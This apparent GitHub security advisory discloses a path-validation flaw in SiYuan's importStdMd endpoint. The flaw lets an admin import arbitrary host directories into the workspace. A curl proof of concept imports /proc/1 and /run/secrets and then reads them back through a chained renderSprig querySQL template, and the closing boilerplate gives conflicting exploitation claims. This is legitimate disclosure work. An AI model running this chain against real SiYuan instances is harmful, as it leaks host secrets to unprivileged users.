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GHSA-rjhh-m223-9qqv
No affected components available
Summary
POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.
Details
File: kernel/api/import.go - function importStdMd
func importStdMd(c *gin.Context) {
notebook := arg["notebook"].(string)
localPath := arg["localPath"].(string)
toPath := arg["toPath"].(string)
err := model.ImportFromLocalPath(notebook, localPath, toPath)
}
model.ImportFromLocalPath (kernel/model/import.go:784):
func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {
filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {
})
}
Unlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.
Chained attack with Bug #1 (renderSprig): Admin imports sensitive files --> content stored in blocks table --> non-admin user queries via querySQL through renderSprig.
PoC
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
TOKEN="YOUR_ADMIN_TOKEN"
NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \
-H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])")
curl -s -X POST http://localhost:6806/api/import/importStdMd \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}"
curl -s -X POST http://localhost:6806/api/import/importStdMd \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}"
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}'
Impact
An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.
Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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